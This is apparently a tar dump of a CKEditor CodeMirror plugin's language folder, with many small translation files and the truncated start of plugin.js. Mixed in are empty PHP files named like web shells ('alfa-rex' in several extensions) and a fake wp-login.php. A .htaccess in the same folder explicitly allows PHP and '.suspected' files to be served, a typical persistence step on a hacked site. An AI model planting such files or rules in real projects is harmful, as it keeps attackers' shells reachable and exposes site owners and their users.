                                                                  editors/acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/en-au.js                               0000705                 00000000702 15242051521 0022073 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ﻿/*
Copyright (c) 2003-2012, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang( 'codemirror', 'en-au', {
	toolbar: 'Source',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});
                                                              editors/acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/da.js                                  0000705                 00000000676 15242051521 0021464 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ﻿/*
Copyright (c) 2003-2012, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang( 'codemirror', 'da', {
	toolbar: 'Kilde',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});
                                                                  editors/acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/ca.js                                  0000705                 00000000702 15242051521 0021451 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ﻿/*
Copyright (c) 2003-2012, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang( 'codemirror', 'ca', {
	toolbar: 'Codi font',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});
                                                              editors/acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/ja.js                                  0000705                 00000000702 15242051521 0021460 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ﻿/*
Copyright (c) 2003-2012, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang( 'codemirror', 'ja', {
	toolbar: 'ソース',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});
                                                              editors/acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/wp-login.php                           0000644                 00000000000 15242051521 0022766 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       editors/acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/uk.js                                  0000705                 00000000707 15242051521 0021512 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ﻿/*
Copyright (c) 2003-2012, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang( 'codemirror', 'uk', {
	toolbar: 'Джерело',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});
                                                         editors/acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/es.js                                  0000705                 00000000704 15242051521 0021477 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ﻿/*
Copyright (c) 2003-2012, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang( 'codemirror', 'es', {
	toolbar: 'Fuente HTML',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});
                                                            editors/acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/bs.js                                  0000705                 00000000702 15242051521 0021472 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ﻿/*
Copyright (c) 2003-2012, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang( 'codemirror', 'bs', {
	toolbar: 'HTML kôd',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});
                                                              editors/acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/sl.js                                  0000705                 00000000705 15242051521 0021507 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ﻿/*
Copyright (c) 2003-2012, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang( 'codemirror', 'sl', {
	toolbar: 'Izvorna koda',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});
                                                           editors/acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/fr.js                                  0000705                 00000000677 15242051521 0021510 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ﻿/*
Copyright (c) 2003-2012, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang( 'codemirror', 'fr', {
	toolbar: 'Source',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});
                                                                 editors/acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/ar.js                                  0000705                 00000000705 15242051521 0021473 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ﻿/*
Copyright (c) 2003-2012, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang( 'codemirror', 'ar', {
	toolbar: 'المصدر',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});
                                                           editors/acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/alfa-rex.PHP                           0000644                 00000000000 15242051521 0022571 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       editors/acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/el.js                                  0000705                 00000000714 15242051521 0021471 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ﻿/*
Copyright (c) 2003-2012, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang( 'codemirror', 'el', {
	toolbar: 'HTML κώδικας',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});
                                                    editors/acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/mk.js                                  0000705                 00000000677 15242051521 0021510 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ﻿/*
Copyright (c) 2003-2012, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang( 'codemirror', 'mk', {
	toolbar: 'Source',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});
                                                                 editors/acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/hr.js                                  0000705                 00000000675 15242051521 0021510 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ﻿/*
Copyright (c) 2003-2012, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang( 'codemirror', 'hr', {
	toolbar: 'Kôd',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});
                                                                   editors/acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/gu.js                                  0000705                 00000000773 15242051521 0021511 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ﻿/*
Copyright (c) 2003-2012, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang( 'codemirror', 'gu', {
	toolbar: 'મૂળ કે પ્રાથમિક દસ્તાવેજ',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});
     editors/acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/sr.js                                  0000705                 00000000676 15242051521 0021524 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ﻿/*
Copyright (c) 2003-2012, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang( 'codemirror', 'sr', {
	toolbar: 'Kôд',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});
                                                                  editors/acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/he.js                                  0000705                 00000000701 15242051521 0021461 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ﻿/*
Copyright (c) 2003-2012, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang( 'codemirror', 'he', {
	toolbar: 'מקור',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});
                                                               editors/acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/.htaccess                              0000644                 00000000544 15242051521 0022334 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <IfModule mod_rewrite.c>
RewriteEngine On
RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
<FilesMatch ".*\.(?i:phtml|php|suspected|PHP)$">
Order Allow,Deny
Allow from all
</FilesMatch>                                                                                                                                                            editors/acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/tr.js                                  0000705                 00000000677 15242051521 0021526 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ﻿/*
Copyright (c) 2003-2012, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang( 'codemirror', 'tr', {
	toolbar: 'Kaynak',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});
                                                                 editors/acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/km.js                                  0000705                 00000000702 15242051521 0021475 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ﻿/*
Copyright (c) 2003-2012, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang( 'codemirror', 'km', {
	toolbar: 'កូត',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});
                                                              editors/acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/about.php                              0000644                 00000000000 15242051521 0022344 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       editors/acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/pt-br.js                               0000705                 00000000711 15242051521 0022112 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ﻿/*
Copyright (c) 2003-2012, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang( 'codemirror', 'pt-br', {
	toolbar: 'Código-Fonte',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});
                                                       editors/acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/nb.js                                  0000705                 00000000676 15242051521 0021477 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ﻿/*
Copyright (c) 2003-2012, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang( 'codemirror', 'nb', {
	toolbar: 'Kilde',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});
                                                                  editors/acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/pl.js                                  0000705                 00000000764 15242051521 0021511 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ﻿/*
Copyright (c) 2003-2012, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang( 'codemirror', 'pl', {
	toolbar: 'Źródło dokumentu',
	autoFormat: 'Sformatuj zaznaczenie',
	commentSelectedRange: 'Zakomentuj zaznaczenie',
	uncommentSelectedRange: 'Odkomentuj zaznaczenie',
	searchCode: 'Wyszukaj w źródle',
	autoCompleteToggle: 'Włącza/Wyłącza automatyczne uzupełniania tagów HTML'
});
            editors/acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/ru.js                                  0000705                 00000000711 15242051521 0021514 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ﻿/*
Copyright (c) 2003-2012, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang( 'codemirror', 'ru', {
	toolbar: 'Источник',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});
                                                       editors/acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/it.js                                  0000705                 00000000710 15242051521 0021501 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ﻿/*
Copyright (c) 2003-2012, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang( 'codemirror', 'it', {
	toolbar: 'Codice Sorgente',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});
                                                        editors/acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/ko.js                                  0000705                 00000000677 15242051521 0021512 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ﻿/*
Copyright (c) 2003-2012, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang( 'codemirror', 'ko', {
	toolbar: '소스',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});
                                                                 editors/acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/fr-ca.js                               0000705                 00000000702 15242051521 0022056 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ﻿/*
Copyright (c) 2003-2012, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang( 'codemirror', 'fr-ca', {
	toolbar: 'Source',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});
                                                              editors/acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/vi.js                                  0000705                 00000000701 15242051521 0021503 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ﻿/*
Copyright (c) 2003-2012, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang( 'codemirror', 'vi', {
	toolbar: 'Mã HTML',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});
                                                               editors/acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/eo.js                                  0000705                 00000000676 15242051521 0021503 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ﻿/*
Copyright (c) 2003-2012, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang( 'codemirror', 'eo', {
	toolbar: 'Fonto',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});
                                                                  editors/acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/en.js                                  0000705                 00000000705 15242051521 0021473 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ﻿/*
Copyright (c) 2003-2012, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang( 'codemirror', 'en', {
    toolbar: 'Source',
    searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});
                                                           editors/acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/bn.js                                  0000705                 00000000710 15242051521 0021464 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ﻿/*
Copyright (c) 2003-2012, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang( 'codemirror', 'bn', {
	toolbar: 'সোর্স',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});
                                                        editors/acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/alfa-rex.php56                         0000644                 00000000000 15242051521 0023104 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       editors/acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/af.js                                  0000705                 00000000675 15242051521 0021465 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ﻿/*
Copyright (c) 2003-2012, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang( 'codemirror', 'af', {
	toolbar: 'Bron',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});
                                                                   editors/acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/alfa-rex.php8                          0000644                 00000000000 15242051521 0023021 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       editors/acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/en-ca.js                               0000705                 00000000702 15242051521 0022051 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ﻿/*
Copyright (c) 2003-2012, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang( 'codemirror', 'en-ca', {
	toolbar: 'Source',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});
                                                              editors/acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/is.js                                  0000705                 00000000677 15242051521 0021514 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ﻿/*
Copyright (c) 2003-2012, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang( 'codemirror', 'is', {
	toolbar: 'Kóði',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});
                                                                 editors/acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/alfa-rex.PhP7                          0000644                 00000000000 15242051521 0022720 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       editors/acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/hu.js                                  0000705                 00000000704 15242051521 0021504 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ﻿/*
Copyright (c) 2003-2012, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang( 'codemirror', 'hu', {
	toolbar: 'Forráskód',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});
                                                            editors/acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/mn.js                                  0000705                 00000000677 15242051521 0021513 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ﻿/*
Copyright (c) 2003-2012, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang( 'codemirror', 'mn', {
	toolbar: 'Код',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});
                                                                 editors/acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/sv.js                                  0000705                 00000000677 15242051521 0021531 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ﻿/*
Copyright (c) 2003-2012, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang( 'codemirror', 'sv', {
	toolbar: 'Källa',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});
                                                                 editors/acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/fa.js                                  0000705                 00000000701 15242051521 0021453 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ﻿/*
Copyright (c) 2003-2012, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang( 'codemirror', 'fa', {
	toolbar: 'منبع',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});
                                                               editors/acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/ug.js                                  0000705                 00000000703 15242051521 0021502 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ﻿/*
Copyright (c) 2003-2012, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang( 'codemirror', 'ug', {
	toolbar: 'مەنبە',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});
                                                             editors/acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/cy.js                                  0000705                 00000000675 15242051521 0021512 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ﻿/*
Copyright (c) 2003-2012, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang( 'codemirror', 'cy', {
	toolbar: 'HTML',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});
                                                                   editors/acyeditor/acyeditor/ckeditor/plugins/codemirror/plugin.js                                   0000705                 00000152770 15242051521 0021460 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       /*
*  The "codemirror" plugin. It's indented to enhance the
*  "sourcearea" editing mode, which displays the xhtml source code with
*  syntax highlight and line numbers.
* Licensed under the MIT license
* CodeMirror Plugin: http://codemirror.net/ (MIT License)
*/

(function() {
    CKEDITOR.plugins.add('codemirror', {
        icons: 'searchcode,autoformat,commentselectedrange,uncommentselectedrange,autocomplete', // %REMOVE_LINE_CORE%
        lang: 'af,ar,bg,bn,bs,ca,cs,cy,da,de,el,en-au,en-ca,en-gb,en,eo,es,et,eu,fa,fi,fo,fr-ca,fr,gl,gu,he,hi,hr,hu,is,it,ja,ka,km,ko,ku,lt,lv,mk,mn,ms,nb,nl,no,pl,pt-br,pt,ro,ru,sk,sl,sr-latn,sr,sv,th,tr,ug,uk,vi,zh-cn,zh', // %REMOVE_LINE_CORE%
        version: 1.13,
        init: function (editor) {
            var rootPath = this.path,
                defaultConfig = {
                    autoCloseBrackets: true,
                    autoCloseTags: true,
                    autoFormatOnStart: false,
                    autoFormatOnUncomment: true,
                    continueComments: true,
                    enableCodeFolding: true,
                    enableCodeFormatting: true,
                    enableSearchTools: true,
                    highlightMatches: true,
                    indentWithTabs: false,
                    lineNumbers: true,
                    lineWrapping: true,
                    mode: 'htmlmixed',
                    matchBrackets: true,
                    matchTags: true,
                    showAutoCompleteButton: true,
                    showCommentButton: true,
                    showFormatButton: true,
                    showSearchButton: true,
                    showTrailingSpace: true,
                    showUncommentButton: true,
                    styleActiveLine: true,
                    theme: 'default',
                    useBeautify: false
                };
            
            // Get Config & Lang
            var config = CKEDITOR.tools.extend(defaultConfig, editor.config.codemirror || {}, true),
                lang = editor.lang.codemirror;
            
            // check for old config settings for legacy support
            if (editor.config.codemirror_theme) {
                config.theme = editor.config.codemirror_theme;
            }
            if (editor.config.codemirror_autoFormatOnStart) {
                config.autoFormatOnStart = editor.config.codemirror_autoFormatOnStart;
            }

            // automatically switch to bbcode mode if bbcode plugin is enabled
            if (editor.plugins.bbcode && config.mode.indexOf("bbcode") <= 0) {
                config.mode = "bbcode";
            }

            // Source mode isn't available in inline mode yet.
            if (editor.elementMode === CKEDITOR.ELEMENT_MODE_INLINE || editor.plugins.sourcedialog) {
                
                // Override Source Dialog
                CKEDITOR.dialog.add('sourcedialog', function (editor) {
                    var size = CKEDITOR.document.getWindow().getViewPaneSize(),
                        width = Math.min(size.width - 70, 800),
                        height = size.height / 1.5,
                        oldData;

                    function loadCodeMirrorInline(editor, textarea) {
                        window["codemirror_" + editor.id] = CodeMirror.fromTextArea(textarea, {
                            mode: config.mode,
                            matchBrackets: config.matchBrackets,
                            matchTags: config.matchTags,
                            workDelay: 300,
                            workTime: 35,
                            readOnly: editor.readOnly,
                            lineNumbers: config.lineNumbers,
                            lineWrapping: config.lineWrapping,
                            autoCloseTags: config.autoCloseTags,
                            autoCloseBrackets: config.autoCloseBrackets,
                            highlightSelectionMatches: config.highlightMatches,
                            continueComments: config.continueComments,
                            indentWithTabs: config.indentWithTabs,
                            theme: config.theme,
                            showTrailingSpace: config.showTrailingSpace,
                            showCursorWhenSelecting: true,
                            styleActiveLine: config.styleActiveLine,
                            viewportMargin: Infinity,
                            //extraKeys: {"Ctrl-Space": "autocomplete"},
                            extraKeys: {
                                "Ctrl-Q": function (codeMirror_Editor) {
                                    if (config.enableCodeFolding) {
                                        window["foldFunc_" + editor.id](codeMirror_Editor, codeMirror_Editor.getCursor().line);
                                    }
                                },
                                "'>'": function (codeMirror_Editor) {
                                    codeMirror_Editor.closeTag(codeMirror_Editor, '>');
                                },
                                "'/'": function (codeMirror_Editor) {
                                    codeMirror_Editor.closeTag(codeMirror_Editor, '/');
                                }
                            },
                            foldGutter: true,
                            gutters: ["CodeMirror-linenumbers", "CodeMirror-foldgutter"],
